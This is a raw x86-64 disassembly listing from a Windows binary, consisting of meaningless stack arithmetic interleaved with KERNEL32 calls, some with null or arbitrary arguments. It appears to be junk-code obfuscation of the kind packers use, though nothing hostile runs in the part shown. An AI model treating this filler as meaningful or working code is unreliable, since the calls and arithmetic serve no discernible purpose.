mov eax, dword [rsp + 0x807c]
mov rcx, qword [rsp + 0x13e68]
mov qword [rsp + 0x15710], rcx
movzx ecx, al
mov rax, qword [rsp + 0x15710]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0xa20c], eax
mov rax, qword [rsp + 0x142b8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x13d68]
mov qword [rsp + 0x15718], rcx
movzx ecx, al
mov rax, qword [rsp + 0x15718]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x14738]
mov dword [rcx], eax
lea rax, [rsp + 0x178c]
mov qword [rsp + 0x15720], rax
mov rax, qword [0x14036a138]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x14b20]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x77c], al
lea rax, [rsp + 0x56e4]
mov qword [rsp + 0x15728], rax
mov rax, qword [rsp + 0x149a8]
mov ecx, dword [rsp + 0xa20c]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x13040]
mov dword [rcx], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xa238], eax
mov eax, dword [rsp + 0x6438]
mov ecx, dword [rsp + 0x8e40]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x143e0]
mov dword [rcx], eax
lea rdx, [rsp + 0x432c0]
mov rcx, qword [rsp + 0x14c58]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x9c98], eax
mov rax, qword [rsp + 0x13680]
mov eax, dword [rax]
mov dword [0x14036a220], eax
lea rax, [rsp + 0x9ae8]
mov qword [rsp + 0x15730], rax
movsx eax, byte [rsp + 0x459]
mov rcx, qword [rsp + 0x139f8]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x156d0]
mov byte [rcx], al
lea rax, [rsp + 0x2d88]
mov qword [rsp + 0x15738], rax
mov rax, qword [rsp + 0x14e08]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x15468]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2b7c], ax
movzx eax, byte [0x1403525ce]
movzx ecx, byte [rsp + 0x758]
and eax, ecx
mov rcx, qword [rsp + 0x15558]
mov byte [rcx], al
lea rax, [rsp + 0x5dd8]
mov qword [rsp + 0x15740], rax
mov eax, dword [rsp + 0x9b2c]
mov ecx, dword [rsp + 0x9b24]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14ae0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14c48]
movzx eax, word [rax]
mov word [rsp + 0x2d94], ax
mov rax, qword [rsp + 0x15070]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x155c0]
movzx ecx, byte [rcx]
imul eax, ecx
mov rcx, qword [0x14036a208]
mov byte [rcx], al
mov rax, qword [rsp + 0x13ab0]
mov ecx, dword [rsp + 0x9a34]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x131d0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x15450]
mov rcx, qword [rsp + 0x14a60]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x15450]
mov dword [rcx], eax
lea rax, [rsp + 0x9f94]
mov qword [rsp + 0x15748], rax
mov rax, qword [rsp + 0x144f0]
mov rcx, qword [0x140369ff0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x145b0]
mov dword [rcx], eax
lea rax, [rsp + 0x2c80]
mov qword [rsp + 0x15750], rax
mov rax, qword [rsp + 0x13fe8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13010]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x13218]
mov byte [rcx], al
lea rax, [rsp + 0x9c68]
mov qword [rsp + 0x15758], rax
mov eax, dword [rsp + 0x9a14]
mov ecx, dword [0x14036a108]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x9fd4], eax
movsx eax, byte [rsp + 0x6fc]
mov rcx, qword [rsp + 0x14cc8]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [0x1403525ae], al
mov rax, qword [rsp + 0x13268]
movsx eax, word [rax]
mov rcx, qword [0x140369e80]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x15370]
mov word [rcx], ax
mov rax, qword [rsp + 0x133b8]
movzx eax, word [rax]
cdq
mov ecx, 0xa9e
idiv ecx
mov word [rsp + 0x2700], ax
movzx eax, byte [rsp + 0x744]
mov rcx, qword [0x140369f90]
movzx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x14b78]
mov byte [rcx], al
lea rax, [rsp + 0x9a9c]
mov qword [rsp + 0x15760], rax
mov rax, qword [rsp + 0x13b18]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9a00]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x6b70], eax
mov rax, qword [rsp + 0x144f8]
mov ecx, dword [0x140369e34]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x9cc4], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x9ee8], eax
mov eax, dword [rsp + 0x8ca0]
mov dword [rsp + 0xa23c], eax
mov rax, qword [rsp + 0x154c0]
mov rcx, qword [rsp + 0x13030]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa0b4], eax
lea rax, [rsp + 0x2344]
mov qword [rsp + 0x15768], rax
lea rdx, [rsp + 0x43138]
mov rcx, qword [rsp + 0x15130]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x9f08], eax
mov rax, qword [0x14036a208]
movzx eax, byte [rax]
mov byte [0x140363f85], al
mov rax, qword [rsp + 0x13f30]
mov rcx, qword [rsp + 0x140a8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x8214], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0x14f88]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa024]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14668]
mov dword [rcx], eax
lea rax, [rsp + 0x62f0]
mov qword [rsp + 0x15770], rax
lea rdx, [rsp + 0x43250]
mov rcx, qword [rsp + 0x12c88]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x9a0c], eax
mov rax, qword [rsp + 0x12f58]
mov rcx, qword [rsp + 0x15030]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x9f8c], eax
mov rax, qword [rsp + 0x13248]
movzx eax, word [rax]
mov word [rsp + 0x2d98], ax
movzx eax, byte [0x14035259f]
movzx ecx, byte [rsp + 0x1f7]
add eax, ecx
mov rcx, qword [rsp + 0x14cb0]
mov byte [rcx], al
mov rax, qword [rsp + 0x13a80]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x11b0]
or eax, ecx
mov word [rsp + 0x2bc8], ax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x15778], rax
lea rax, [rsp + 0x407]
mov qword [rsp + 0x15780], rax
lea rax, [0x140369ff8]
mov qword [0x14036a228], rax
mov eax, dword [rsp + 0x9bb0]
mov ecx, dword [rsp + 0x63d4]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12dd0]
mov dword [rcx], eax
movzx eax, word [rsp + 0x2afc]
movzx ecx, word [rsp + 0x288c]
add eax, ecx
mov word [rsp + 0x1a3c], ax
movzx eax, byte [rsp + 0x75a]
movzx ecx, byte [rsp + 0x780]
add eax, ecx
mov byte [rsp + 0x779], al
lea rax, [rsp + 0x74a4]
mov qword [rsp + 0x15788], rax
mov rax, qword [rsp + 0x13a48]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x14ed8]
mov qword [rsp + 0x15790], rcx
movzx ecx, al
mov rax, qword [rsp + 0x15790]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x6658], eax
mov rax, qword [0x140369c78]
mov rcx, qword [rsp + 0x12fd8]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x81d0], eax
mov eax, dword [rsp + 0x9d74]
mov dword [rsp + 0xa240], eax
lea rdx, [rsp + 0x42990]
mov rcx, qword [rsp + 0x140e0]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x9fc4], eax
mov rax, qword [rsp + 0x14d48]
movzx eax, byte [rax]
cdq
mov ecx, 0x70
idiv ecx
mov byte [rsp + 0x784], al
mov rax, qword [0x140369de8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x15298]
movzx ecx, word [rcx]
sar eax, cl
mov word [0x1403624d8], ax
mov qword [rsp + 0x20], 0
mov r9d, 0x2518
mov r8d, 0x32e5
mov edx, 0x8a
mov rcx, qword [rsp + 0x13e30]
call qword [sym.imp.KERNEL32.dll_UnlockFileEx]
mov dword [rsp + 0xa244], eax
lea rax, [rsp + 0x820c]
mov qword [rsp + 0x15798], rax
mov eax, dword [0x14036246c]
mov ecx, dword [rsp + 0x9bc4]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14228]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14518]
mov rcx, qword [rsp + 0x14918]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x14ed0]
mov dword [rcx], eax
lea rax, [rsp + 0xa0b0]
mov qword [rsp + 0x157a0], rax
mov rax, qword [0x140369cf0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa1ac]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13260]
mov dword [rcx], eax
movsx eax, word [rsp + 0x2bc8]
movsx ecx, word [rsp + 0x2ce8]
add eax, ecx
mov word [rsp + 0x11e8], ax
mov rax, qword [rsp + 0x14ba8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x6a8]
add eax, ecx
mov byte [rsp + 0x783], al
mov edx, 0x2554
mov rcx, qword [rsp + 0x15308]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0xa06c], eax
movzx eax, byte [rsp + 0x49c]
movzx ecx, byte [rsp + 0x233]
add eax, ecx
mov byte [rsp + 0x752], al
lea rdx, [rsp + 0x432f8]
mov rcx, qword [rsp + 0x15440]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x993c], eax
mov rax, qword [rsp + 0x15378]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x13d50]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [0x14036a000]
mov word [rcx], ax
mov eax, dword [rsp + 0x92dc]
mov dword [rsp + 0xa248], eax
mov rax, qword [0x140369ff0]
mov rcx, qword [rsp + 0x15160]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xa0c4], eax
movzx eax, byte [rsp + 0x74f]
mov byte [rsp + 0x7a2], al
movzx eax, word [rsp + 0x2b94]
movzx ecx, word [rsp + 0x19a0]
or eax, ecx
mov rcx, qword [rsp + 0x151b8]
mov word [rcx], ax
mov rax, qword [rsp + 0x14ea8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9f80]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x5bec], eax
mov rax, qword [rsp + 0x15760]
mov rcx, qword [rsp + 0x14308]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x73a0], eax
mov eax, dword [rsp + 0x5c00]
movzx ecx, al
mov eax, dword [0x140369c08]
shl eax, cl
mov rcx, qword [rsp + 0x155d0]
mov dword [rcx], eax
mov eax, dword [rsp + 0x9d58]
mov dword [rsp + 0xa24c], eax
movzx eax, byte [rsp + 0x7a0]
mov rcx, qword [rsp + 0x132a0]
movzx ecx, byte [rcx]
cdq
idiv ecx
mov byte [0x1403525d6], al
mov rax, qword [0x140369bb0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2b98]
sar eax, cl
mov rcx, qword [rsp + 0x15060]
mov word [rcx], ax
mov rax, qword [rsp + 0x12fb0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa218]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x63b8], eax
mov rax, qword [rsp + 0x13300]
mov rcx, qword [0x140369e78]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x14748]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14db0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x12f60]
movsx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x15138]
mov byte [rcx], al
lea rax, [rsp + 0x12cc]
mov qword [rsp + 0x157a8], rax
movzx eax, word [0x140362488]
mov rcx, qword [rsp + 0x15190]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x14728]
mov word [rcx], ax
lea rax, [rsp + 0x510]
mov qword [rsp + 0x157b0], rax
mov rax, qword [rsp + 0x13338]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9b10]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13c08]
mov dword [rcx], eax
lea rax, [rsp + 0x9ed8]
mov qword [0x14036a230], rax
mov eax, dword [rsp + 0x9a6c]
mov ecx, dword [rsp + 0x5c48]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x5b9c], eax
lea rax, [rsp + 0x99b8]
mov qword [rsp + 0x157b8], rax
mov eax, dword [0x140369fc8]
mov ecx, dword [rsp + 0x9cbc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x85d0], eax
lea rax, [rsp + 0x703]
mov qword [rsp + 0x157c0], rax
lea rcx, [rsp + 0x4cb10]
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
mov dword [rsp + 0x9fd0], eax
mov rax, qword [rsp + 0x13370]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2b7c]
sub eax, ecx
mov rcx, qword [rsp + 0x13500]
mov word [rcx], ax
mov rax, qword [rsp + 0x13f58]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9664]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x15200]
mov dword [rcx], eax
lea rax, [rsp + 0xa224]
mov qword [rsp + 0x157c8], rax
mov eax, dword [rsp + 0x9a30]
mov ecx, dword [rsp + 0x9d04]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x870c], eax
mov rax, qword [0x140369c58]
mov rcx, qword [rsp + 0x14820]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [0x14036a220], eax
movzx eax, byte [rsp + 0x787]
mov byte [rsp + 0x7a3], al
movzx eax, word [rsp + 0x2a2c]
movzx ecx, word [rsp + 0x2c14]
imul eax, ecx
mov word [rsp + 0x2700], ax
lea rax, [rsp + 0x79f]
mov qword [rsp + 0x157d0], rax
mov rax, qword [rsp + 0x14e80]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x13958]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x144d8]
mov word [rcx], ax
mov rax, qword [rsp + 0x14d38]
mov rcx, qword [rsp + 0x13978]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x15280]
mov dword [rcx], eax
mov rax, qword [0x14036a1f0]
mov eax, dword [rax]
mov dword [rsp + 0xa250], eax
movzx eax, word [rsp + 0x2c7c]
mov rcx, qword [rsp + 0x13610]
movzx ecx, word [rcx]
cdq
idiv ecx
mov rcx, qword [rsp + 0x153f0]
mov word [rcx], ax
mov rax, qword [rsp + 0x13528]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x14a68]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x37b], al
mov rax, qword [0x14036a218]
mov rcx, qword [rsp + 0x14d78]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [0x14036a100]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14770]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9bc4]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xa0b4], eax
mov rax, qword [rsp + 0x14808]
mov eax, dword [rax]
mov ecx, dword [0x140369c08]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa1dc], eax
mov eax, dword [rsp + 0x7fc4]
mov dword [rsp + 0xa254], eax
movzx eax, word [rsp + 0x244c]
movzx ecx, word [rsp + 0x2cd8]
imul eax, ecx
mov rcx, qword [rsp + 0x13410]
mov word [rcx], ax
lea rax, [rsp + 0x728]
mov qword [rsp + 0x157d8], rax
mov rax, qword [rsp + 0x13408]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9b84]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x66ac], eax
mov rax, qword [rsp + 0x13018]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa194]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x5db8], eax
lea rax, [0x140362484]
mov qword [rsp + 0x157e0], rax
mov qword [rsp + 0x20], 0
mov r9d, 0x2be
mov r8d, 0x2bf1
mov edx, 0xb6
mov rcx, qword [rsp + 0x14e40]
call qword [sym.imp.KERNEL32.dll_UnlockFileEx]
mov dword [rsp + 0x9eec], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], 1
xor r9d, r9d
mov r8d, 1
mov edx, 0x80000000
lea rcx, str.AvhSOKXUlxyFs8qeST95qW5UE
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x157e8], rax
lea rax, [rsp + 0x965c]
mov qword [0x14036a238], rax
mov rax, qword [rsp + 0x12ea8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa134]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xa0f4], eax
lea rax, [rsp + 0x2c54]
mov qword [rsp + 0x157f0], rax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFiberEx]
movsx eax, byte [rsp + 0x6f8]
movsx ecx, byte [rsp + 0x260]
add eax, ecx
mov rcx, qword [rsp + 0x13bb0]
mov byte [rcx], al
lea rax, [rsp + 0x703]
mov qword [rsp + 0x157f8], rax
movzx eax, word [rsp + 0x280c]
movzx ecx, word [rsp + 0x10d4]
sub eax, ecx
mov word [rsp + 0x2bf0], ax
mov rax, qword [rsp + 0x14740]
mov eax, dword [rax]
mov ecx, dword [0x140369f88]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x9a18], eax
xor r8d, r8d
mov edx, 0x10
lea rcx, [rsp + 0x4acb0]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x9a0c], eax
lea rax, [rsp + 0xa230]
mov qword [rsp + 0x15800], rax
mov rax, qword [rsp + 0x12d58]
movzx eax, byte [rax]
mov rcx, qword [0x14036a160]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x72d], al
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0x15808], rax
mov rax, qword [rsp + 0x152e0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x13c90]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [0x140369e28]
mov word [rcx], ax
lea rax, [rsp + 0xa1d0]
mov qword [rsp + 0x15810], rax
mov rax, qword [rsp + 0x14370]
mov rcx, qword [0x140369ec8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x12ea8]
mov dword [rcx], eax
mov eax, dword [rsp + 0xa1ac]
mov ecx, dword [rsp + 0x9fb8]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13b50]
mov dword [rcx], eax
lea rax, [rsp + 0xa128]
mov qword [rsp + 0x15818], rax
movzx eax, word [rsp + 0x2be4]
movzx ecx, word [0x14036a1b0]
sar eax, cl
mov rcx, qword [rsp + 0x153c0]
mov word [rcx], ax
lea rax, [rsp + 0x73a]
mov qword [rsp + 0x15820], rax
mov rax, qword [rsp + 0x14588]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x9c68]
shl eax, cl
mov rcx, qword [rsp + 0x14788]
mov dword [rcx], eax
mov eax, dword [rsp + 0x9b44]
mov ecx, dword [rsp + 0x8614]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x9f2c], eax
mov rax, qword [rsp + 0x13050]
movzx eax, byte [rax]
mov byte [0x140363f86], al
movsx eax, word [rsp + 0x2d68]
movsx ecx, word [rsp + 0x1ed0]
and eax, ecx
mov word [rsp + 0x1988], ax
movzx eax, byte [0x140363f0d]
mov rcx, qword [rsp + 0x14f68]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x14880]
mov byte [rcx], al
lea rax, [rsp + 0x2d60]
mov qword [rsp + 0x15828], rax
mov rax, qword [rsp + 0x14b90]
mov rcx, qword [rsp + 0x13e40]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x12f48]
mov dword [rcx], eax
mov eax, dword [rsp + 0xa040]
mov ecx, dword [0x140369fa8]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x8a60], eax
mov eax, dword [rsp + 0x9e44]
mov dword [rsp + 0xa258], eax
mov rax, qword [rsp + 0x14860]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x62f0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x7df0], eax
mov rax, qword [rsp + 0x13cf8]
mov rcx, qword [rsp + 0x134e8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x6980], eax
lea rcx, [rsp + 0x4c8d0]
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
mov dword [rsp + 0x9fb0], eax
mov rcx, qword [rsp + 0x14490]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
movzx eax, word [rsp + 0x2cb0]
mov rcx, qword [rsp + 0x14708]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2cf0], ax
movzx eax, byte [rsp + 0x755]
movzx ecx, byte [rsp + 0x4a8]
sub eax, ecx
mov byte [0x1403525d7], al
lea rax, [rsp + 0x69c8]
mov qword [rsp + 0x15830], rax
mov rax, qword [rsp + 0x142f0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9d5c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14c20]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13300]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [0x140362508]
shl eax, cl
mov dword [rsp + 0x9c64], eax
mov eax, dword [rsp + 0xa124]
mov dword [rsp + 0xa25c], eax
movzx eax, word [rsp + 0x1a3c]
movzx ecx, word [rsp + 0x2d04]
sar eax, cl
mov word [rsp + 0x210c], ax
lea rax, [rsp + 0x7a3]
mov qword [rsp + 0x15838], rax
mov rax, qword [rsp + 0x14750]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x519]
xor eax, ecx
mov byte [rsp + 0x399], al
movsx eax, word [rsp + 0x12ac]
mov rcx, qword [rsp + 0x14ad0]
movsx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x14960]
mov word [rcx], ax
mov rax, qword [rsp + 0x138f0]
mov rcx, qword [rsp + 0x14940]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [0x140369c30]
mov dword [rcx], eax
lea rax, [rsp + 0x96d8]
mov qword [rsp + 0x15840], rax
movzx eax, byte [rsp + 0x266]
movzx ecx, byte [rsp + 0x769]
sub eax, ecx
mov byte [rsp + 0x361], al
lea rax, [rsp + 0x2d7c]
mov qword [rsp + 0x15848], rax
mov rax, qword [rsp + 0x13000]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9ec0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x9f80], eax
mov rax, qword [rsp + 0x15760]
mov rcx, qword [rsp + 0x13948]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x13c50]
mov dword [rcx], eax
mov eax, dword [rsp + 0x52fc]
mov dword [rsp + 0xa260], eax
lea rdx, [rsp + 0x43250]
mov rcx, qword [rsp + 0x136b8]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xa264], eax
mov eax, dword [rsp + 0xa178]
mov ecx, dword [rsp + 0x9b3c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13ed8]
mov dword [rcx], eax
lea rax, [rsp + 0x76a]
mov qword [rsp + 0x15850], rax
mov rax, qword [0x140369ef0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2cec]
or eax, ecx
mov rcx, qword [0x14036a140]
mov word [rcx], ax
mov rax, qword [rsp + 0x15410]
mov rcx, qword [rsp + 0x155b8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa148], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x9b74], eax
mov rax, qword [0x140369f20]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa0f4]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14a60]
mov dword [rcx], eax
lea rax, [rsp + 0x95fc]
mov qword [rsp + 0x15858], rax
mov eax, dword [rsp + 0x9d44]
mov ecx, dword [rsp + 0x63d4]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x9d7c], eax
mov qword [rsp + 0x20], 0
mov r9d, 0x1e60
mov r8d, 0x3d4f
mov edx, 0x4a
mov rcx, qword [rsp + 0x13140]
call qword [sym.imp.KERNEL32.dll_UnlockFileEx]
mov dword [rsp + 0x9980], eax
mov eax, dword [rsp + 0x9ed8]
mov ecx, dword [rsp + 0x5610]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x7198], eax
mov rax, qword [rsp + 0x13550]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x74b]
xor eax, ecx
mov byte [rsp + 0x559], al
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xa268], eax
lea rdx, [rsp + 0x42ca0]
mov rcx, qword [rsp + 0x14420]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x9e24], eax
mov rax, qword [rsp + 0x130c0]
movzx eax, word [rax]
mov word [rsp + 0x2d9c], ax
movzx eax, byte [0x140363f6d]
mov rcx, qword [rsp + 0x13340]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x225], al
movzx eax, word [rsp + 0x2d74]
mov word [0x14036a240], ax
mov eax, dword [rsp + 0x6f2c]
mov rcx, qword [rsp + 0x14080]
mov qword [rsp + 0x15860], rcx
movzx ecx, al
mov rax, qword [rsp + 0x15860]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x87e8], eax
mov rax, qword [0x14036a130]
mov rcx, qword [rsp + 0x14928]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x7b14], eax
mov rax, qword [rsp + 0x14f08]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2c84]
imul eax, ecx
mov rcx, qword [rsp + 0x143a0]
mov word [rcx], ax
movzx eax, byte [rsp + 0x758]
mov byte [rsp + 0x7a4], al
mov rax, qword [0x140369bb8]
mov rcx, qword [rsp + 0x14d10]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x8754], eax
mov rax, qword [rsp + 0x13080]
mov ecx, dword [rsp + 0x9c0c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x9e3c], eax
lea rax, [rsp + 0x9e50]
mov qword [rsp + 0x15868], rax
mov rax, qword [rsp + 0x13cd0]
mov eax, dword [rax]
mov ecx, dword [0x140369de0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x9dc8], eax
lea rax, [rsp + 0x2d74]
mov qword [0x14036a248], rax
movzx eax, byte [rsp + 0x147]
mov byte [rsp + 0x7a5], al
mov rax, qword [0x140369d28]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6850]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x148c8]
mov dword [rcx], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x9b74], eax
mov rax, qword [rsp + 0x14e48]
mov rcx, qword [rsp + 0x14118]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x153c8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x148f8]
movsx eax, word [rax]
mov rcx, qword [0x14036a1b8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x23c8], ax
movsx eax, byte [rsp + 0x776]
mov rcx, qword [rsp + 0x14cc8]
movsx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x15780]
mov byte [rcx], al
mov rax, qword [rsp + 0x14978]
movzx eax, byte [rax]
mov byte [rsp + 0x7a6], al
mov rax, qword [rsp + 0x145a8]
movzx eax, word [rax]
mov rcx, qword [0x14036a210]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x26fc], ax
lea rax, [rsp + 0x9f20]
mov qword [rsp + 0x15870], rax
